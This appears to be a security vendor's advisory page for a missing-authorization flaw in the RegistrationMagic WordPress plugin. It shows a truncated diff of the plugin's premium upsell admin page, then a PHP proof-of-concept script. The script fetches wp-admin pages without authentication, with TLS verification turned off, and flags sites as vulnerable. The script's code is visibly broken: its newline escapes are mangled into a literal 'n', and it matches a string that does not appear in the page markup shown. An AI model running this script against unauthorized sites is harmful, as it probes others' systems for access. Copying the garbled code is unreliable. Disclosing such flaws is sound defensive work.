-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/mailchimp.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("MailChimp Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("If you are a power MailChimp user you may want to map all your custom fields with registration forms. This extension makes this possible.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/aweber.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("Aweber Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Integrate your forms with powerful Aweber system.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/newsletter.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("Newsletter Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Add users to your Newsletter’s subscriber lists right from your registration forms.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/stripe.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("Stripe Ext.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Accept payments through ever popular Stripe payment gateway for paid registrations.",'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/adn.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("Authorize.Net Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Connect your Authorize.Net account as payment option to start accepting credit card payments.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><img class="rm_feature_icon" src="<?php echo RM_IMG_URL; ?>premium/rm-wepay-logo.png"></div>
-                    <div class="rm_pr_feature_title"><?php _e("WePay Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc"><?php _e("Accept payments through your forms using popular WePay gateway.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Offline Payments Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Add more flexibility to your payments system by turning on offline payments. Provide users with payment instructions and activate them after receiving payments.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons">payments</i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Invoices and Payments Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("A separate area to filter and manage form payments with support for custom invoicing.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-                <div class="rm_pr_block_small">
-                    <div class="rm_pr_feature_icon"><i class="material-icons">door_sliding</i></div>
-                    <div class="rm_pr_feature_title"><?php _e("Turnstile Antispam Security Ext.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                    <div class="rm_pr_feature_desc" style=""><?php _e("Protect your forms from spam bots with Cloudflare Turnstile's advanced, non-intrusive detection system. Ensure a smooth user experience while maintaining privacy-focused security.", 'custom-registration-form-builder-with-submission-manager'); ?></div>
-                </div>
-
-
-
-
-
-
-        </div>
-
-            <div class="rm_pr_row" style="display: none;">
-                <div class="rm_pr_banner_wrap">
-          <div class="rm_pr_banner-title">
-              <?php _e("Ready to add massive power to your forms?",'custom-registration-form-builder-with-submission-manager'); ?>
-          </div>
-           <div class="rm_pr_banner-subtitle">
-           </div>
-                    <div class="rm_pr_banner-action">
-
-                        <a href="<?php echo RM_Utilities::comparison_page_link(); ?>" target="_blank"><button class="rm_pr_action"><?php _e("Get Premium",'custom-registration-form-builder-with-submission-manager') ?> </button></a>
-                    </div>
-
-                </div>
-            </div>
-
-
-
-
-
-
-            </div>
-
-        </div>
-        <hr />
-</div>
-<!--[if IE 8 ]>
-<style>
-    .rm_pr_smoke, .rm_pr_clouds_front, .rm_pr_clouds_far { display: none !important; }
-</style>
-<![endif]-->
-
-<script>
-
-
-(function() {
-
-	function Slideshow( element ) {
-		this.el = document.querySelector( element );
-		this.init();
-	}
-
-	Slideshow.prototype = {
-		init: function() {
-			this.wrapper = this.el.querySelector( ".rm-slider-wrapper" );
-			this.slides = this.el.querySelectorAll( ".rm-slide" );
-			this.previous = this.el.querySelector( ".rm-slider-previous" );
-			this.next = this.el.querySelector( ".rm-slider-next" );
-			this.index = 0;
-			this.total = this.slides.length;
-			this.timer = null;
-
-			this.action();
-			this.stopStart();
-		},
-		_slideTo: function( slide ) {
-			var currentSlide = this.slides[slide];
-			currentSlide.style.opacity = 1;
-
-			for( var i = 0; i < this.slides.length; i++ ) {
-				var slide = this.slides[i];
-				if( slide !== currentSlide ) {
-					slide.style.opacity = 0;
-				}
-			}
-		},
-		action: function() {
-			var self = this;
-			self.timer = setInterval(function() {
-				self.index++;
-				if( self.index == self.slides.length ) {
-					self.index = 0;
-				}
-				self._slideTo( self.index );
-
-			}, 4000);
-		},
-		stopStart: function() {
-			var self = this;
-			self.el.addEventListener( "mouseover", function() {
-				clearInterval( self.timer );
-				self.timer = null;
-
-			}, false);
-			self.el.addEventListener( "mouseout", function() {
-				self.action();
-
-			}, false);
-		}
-
-
-	};
-
-	document.addEventListener( "DOMContentLoaded", function() {
-
-		var slider = new Slideshow( "#rm-form-slider" );
-
-	});
-
-
-})();
-
-
-
-</script>
+<?php
+if (!defined('WPINC')) {
+    die('Closed');
+}
+
+$rm_premium_purchase_url = 'https://registrationmagic.com/checkout/?edd_action=add_to_cart&download_id=55382';
+$rm_premium_plus_purchase_url = 'https://registrationmagic.com/checkout/checkout/?edd_action=add_to_cart&download_id=55393';
+?>
+<link rel="stylesheet" href="<?php echo esc_url(RM_BASE_URL . 'admin/css/style_rm_premium_revamp.css'); ?>">
+<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
+<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;500;600;700;800&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
+<link href="https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap" rel="stylesheet">
+
+<div class="rm_pr_page rm-pr-revamp">
+    <main class="rm_pr_content" id="rm-pr-content">
+        <header class="rm_pr_hero" id="rm-pr-hero" aria-labelledby="rm-pr-hero-title">
+            <div class="rm_pr_hero_copy">
+                <div class="rm_pr_eyebrow">
+                    <?php esc_html_e('Premium upgrade', 'custom-registration-form-builder-with-submission-manager'); ?>
+                </div>
+                <h1 class="rm_pr_pitch_title" id="rm-pr-hero-title">
+                    <?php esc_html_e('Unlock Premium features for your site.', 'custom-registration-form-builder-with-submission-manager'); ?>
+                </h1>
+                <p class="rm_pitch_details">
+                    <?php esc_html_e('Unlock deeper form controls, smarter user workflows, stronger integrations, and the full RegistrationMagic toolkit for production sites.`', 'custom-registration-form-builder-with-submission-manager'); ?>
+                </p>
+                <div class="rm_pr_action_row">
+                    <a class="rm_pr_action rm_pr_action_primary rm_pr_action rm_pr_action_secondary" href="<?php echo esc_url(RM_Utilities::comparison_page_link()); ?>"><?php esc_html_e('View plans', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+                </div>
+                <div class="rm_pr_hero_trust">
+                    <span><?php esc_html_e('1 site license or unlimited sites', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                    <span><?php esc_html_e('1 year or lifetime support', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                </div>
+            </div>
+
+            <div class="rm_pr_plan_grid" id="rm-pr-plans">
+                <article class="rm_pr_plan_card">
+                    <div class="rm_pr_plan_topline"></div>
+                    <div class="rm_pr_plan_card_top">
+                        <span class="rm_pr_plan_label"><?php esc_html_e('Premium', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                        <span class="rm_pr_plan_best_for"><?php esc_html_e('Best for single sites', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                        <strong class="rm_pr_plan_price">$89</strong>
+                        <span class="rm_pr_plan_subline"><?php esc_html_e('1 site license', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                        <span class="rm_pr_plan_support"><?php esc_html_e('Updates + support for 1 year', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                    </div>
+                    <div class="rm_pr_plan_features">
+                        <span><?php esc_html_e('Full Premium feature set', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                        <span><?php esc_html_e('Best for one production site', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                    </div>
+                    <a class="rm_pr_action rm_pr_action_primary rm_pr_plan_action_btn" href="<?php echo esc_url($rm_premium_purchase_url); ?>" target="_blank"><?php esc_html_e('Get Premium', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+                    <p class="rm_pr_plan_note"><?php esc_html_e('Best value for a single site.', 'custom-registration-form-builder-with-submission-manager'); ?></p>
+                </article>
+
+                <article class="rm_pr_plan_card rm_pr_plan_card_alt">
+                    <div class="rm_pr_plan_topline rm_pr_plan_topline_alt"></div>
+                    <div class="rm_pr_plan_card_top">
+                        <span class="rm_pr_plan_label"><?php esc_html_e('Premium+', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+
+                        <span class="rm_pr_plan_best_for"><?php esc_html_e('Best for unlimited sites', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                        <strong class="rm_pr_plan_price">$189</strong>
+                        <span class="rm_pr_plan_subline"><?php esc_html_e('Unlimited sites', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                        <span class="rm_pr_plan_support"><?php esc_html_e('Lifetime updates + support', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                    </div>
+                    <div class="rm_pr_plan_features">
+                        <span><?php esc_html_e('Everything in Premium', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                        <span><?php esc_html_e('Built for agencies and multi-site use', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                    </div>
+                    <a class="rm_pr_action rm_pr_action_primary rm_pr_plan_action_btn" href="<?php echo esc_url($rm_premium_plus_purchase_url); ?>" target="_blank"><?php esc_html_e('Get Premium+', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+                    <p class="rm_pr_plan_note"><?php esc_html_e('Best long-term value.', 'custom-registration-form-builder-with-submission-manager'); ?></p>
+                </article>
+            </div>
+        </header>
+
+        <section class="rm_pr_feature_block" id="rm-pr-features" aria-labelledby="rm-pr-features-title">
+            <div class="rm_pr_feature_box_title">
+                <span id="rm-pr-features-title"><?php esc_html_e('Premium capabilities', 'custom-registration-form-builder-with-submission-manager'); ?></span>
+                <div class="m_pr_block_mg-logo"><img src="<?php echo plugin_dir_url(dirname(dirname(__FILE__))) . 'images/mg-logo.png'; ?>" alt="RegistrationMagic"></div>
+            </div>
+            <hr />
+            <div class="rm_pr_feature_intro">
+                <?php esc_html_e('Explore the premium features available to upgrade your site, organized into six sections for quicker browsing and easier plan comparison.', 'custom-registration-form-builder-with-submission-manager'); ?>
+            </div>
+            <nav class="rm_pr_section_nav" aria-label="<?php esc_attr_e('Premium sections', 'custom-registration-form-builder-with-submission-manager'); ?>">
+                <a href="#rm-pr-group-registration"><span>01</span><?php esc_html_e('Registration', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+                <a href="#rm-pr-group-controls"><span>02</span><?php esc_html_e('Form Controls', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+                <a href="#rm-pr-group-workflow"><span>03</span><?php esc_html_e('Workflow', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+                <a href="#rm-pr-group-reports"><span>04</span><?php esc_html_e('Reports', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+                <a href="#rm-pr-group-security"><span>05</span><?php esc_html_e('Security', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+                <a href="#rm-pr-group-integrations"><span>06</span><?php esc_html_e('Integrations', 'custom-registration-form-builder-with-submission-manager'); ?></a>
+            </nav>
+
+            <div class="rm_pr_block_container">
+                <div class="rm_pr_feature_group">
+                    <div class="rm_pr_feature_group_heading" id="rm-pr-group-registration">
+                        <span class="rm_pr_feature_group_index">01</span>
+                        <div class="rm_pr_feature_group_copy">
+                            <h3><?php esc_html_e('Registration workflows', 'custom-registration-form-builder-with-submission-manager'); ?></h3>
+                            <p><?php esc_html_e('Approve users, apply rules, and manage submissions with less manual work.', 'custom-registration-form-builder-with-submission-manager'); ?></p>
+                            <div class="rm_pr_feature_group_meta"><?php esc_html_e('Core registration tools and data handling', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                        </div>
+                    </div>
+
+                    <div class="rm_pr_feature_group_cards">
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('Manual Approvals Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Review and approve individual users instead of default auto registrations. A quick approval link is added to the admin notifications for extra convenience.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('Submission Notes Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Attach admin notes to user submissions. Frontend notes are visible to users and can be sent as notifications to them.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('Role Based Forms Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Bind user roles to forms so users are assigned the bound role, or let them choose from a list of pre-approved roles.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('Token System Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Generate and provide users a unique token after form submission. The token is also attached to the submission in the dashboard.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('External Submission Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Forward form data to an external URL using HTTP POST. Useful for connecting RegistrationMagic with other web apps.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('Access Control Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Add conditional access control to your form. Allow users within a specific age group, with a secret passphrase, and/or by user role to fill out forms.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('56 Field Types package', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Full set of custom field types. Now you can build any type of form.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('Export and Filter Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Export all or filtered submissions as CSV, download individual submissions as PDF, and filter by date range.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+                            <div class="rm_pr_feature_icon"><i class="material-icons"></i></div>
+                            <div class="rm_pr_feature_copy">
+                                <div class="rm_pr_feature_title"><?php esc_html_e('Advanced Paid Registrations Ext.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                                <div class="rm_pr_feature_desc"><?php esc_html_e('Add selection boxes, dropdowns, and user-defined price options to paid registrations.', 'custom-registration-form-builder-with-submission-manager'); ?></div>
+                            </div>
+                        </div>
+
+                        <div class="rm_pr_block_small">
+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49764 - RegistrationMagic Missing Authorization

$target_url = 'http://example.com'; // Change this to the target WordPress site URL

// Initialize cURL
$ch = curl_init();

// First, try accessing the premium page directly via the admin URL pattern
// The plugin registers admin pages, so we can try to access the premium page without authentication
$premium_url = $target_url . '/wp-admin/admin.php?page=rm_premium_page';

curl_setopt($ch, CURLOPT_URL, $premium_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "[*] Testing CVE-2026-49764 - Missing Authorizationn";
echo "[*] Target: $target_urln";
echo "[+] Requesting: $premium_urln";
echo "[+] HTTP Response Code: $http_coden";

if ($http_code == 200 && strpos($response, 'Welcome to the next level') !== false) {
    echo "[!] VULNERABLE: Successfully accessed the premium page without authentication!n";
    // Extract some content to confirm
    preg_match('/<div class="rm_pr_pitch_title">(.*?)</div>/si', $response, $matches);
    if (isset($matches[1])) {
        echo "[+] Found pitch title: " . strip_tags($matches[1]) . "n";
    }
} else {
    echo "[-] Not vulnerable or page blocked. Response code: $http_coden";
}

// Also try the extensions page
$extensions_url = $target_url . '/wp-admin/admin.php?page=rm_extensions_page';
curl_setopt($ch, CURLOPT_URL, $extensions_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "n[*] Testing extensions page: $extensions_urln";
echo "[+] HTTP Response Code: $http_code2n";
if ($http_code2 == 200 && strpos($response2, 'Extensions') !== false) {
    echo "[!] VULNERABLE: Successfully accessed the extensions page without authentication!n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School